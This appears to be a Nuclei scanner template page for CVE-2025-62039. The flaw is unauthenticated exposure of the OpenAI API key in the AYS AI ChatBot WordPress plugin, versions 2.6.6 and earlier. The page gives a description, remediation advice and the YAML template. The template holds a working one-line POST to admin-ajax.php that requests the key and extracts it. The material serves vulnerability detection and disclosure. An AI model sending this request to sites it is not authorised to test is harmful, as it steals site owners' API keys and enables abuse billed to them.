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AI ChatBot with ChatGPT by AYS <= 2.6.6 - Unauthenticated API Key Exposure

CVE-2025-62039
Verified

Description

AYS AI ChatBot with ChatGPT and Content Generator <= 2.6.6 contains an insertion of sensitive information into sent data vulnerability caused by improper handling of embedded sensitive data, letting attackers retrieve sensitive information, exploit requires crafted input.

Severity

High

Published Date

April 22, 2026

Template Author

pussycat0x

CVE-2025-62039.yaml
id: CVE-2025-62039

info:
  name: AI ChatBot with ChatGPT by AYS <= 2.6.6 - Unauthenticated API Key Exposure
  author: pussycat0x
  severity: high
  description: |
    AYS AI ChatBot with ChatGPT and Content Generator <= 2.6.6 contains an insertion of sensitive information into sent data vulnerability caused by improper handling of embedded sensitive data, letting attackers retrieve sensitive information, exploit requires crafted input.
  impact: Attackers can retrieve embedded sensitive information, potentially leading to data leakage and privacy violations.
  remediation: Update to the latest version beyond 2.6.6.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ays-chatgpt-assistant/ai-chatbot-with-chatgpt-and-content-generator-by-ays-266-unauthenticated-information-exposure
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,wordpress,wp-plugin,ays-chatgpt-assistant

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=ays_chatgpt_admin_ajax&function=get_chatgpt_api_key

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "success\":true")'
          - 'contains(body, "api_key")'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        condition: and

    extractors:
      - type: json
        name: api_key
        json:
          - '.data.api_key'
# digest: 490a00463044022007d06b9472c223651fcb31380c476042becbef9dccb81772b40db1773b35c6e402200ac6a0dddd497a0797b264eef40b61cf750c2e1e14e96e4d6faa076716024975:922c64590222798bb761d5b6d8e72950
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References

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ays-chatgpt-assistant/ai-chatbot-with-chatgpt-and-content-generator-by-ays-266-unauthenticated-information-exposure

Remediation Steps

Update to the latest version beyond 2.6.6.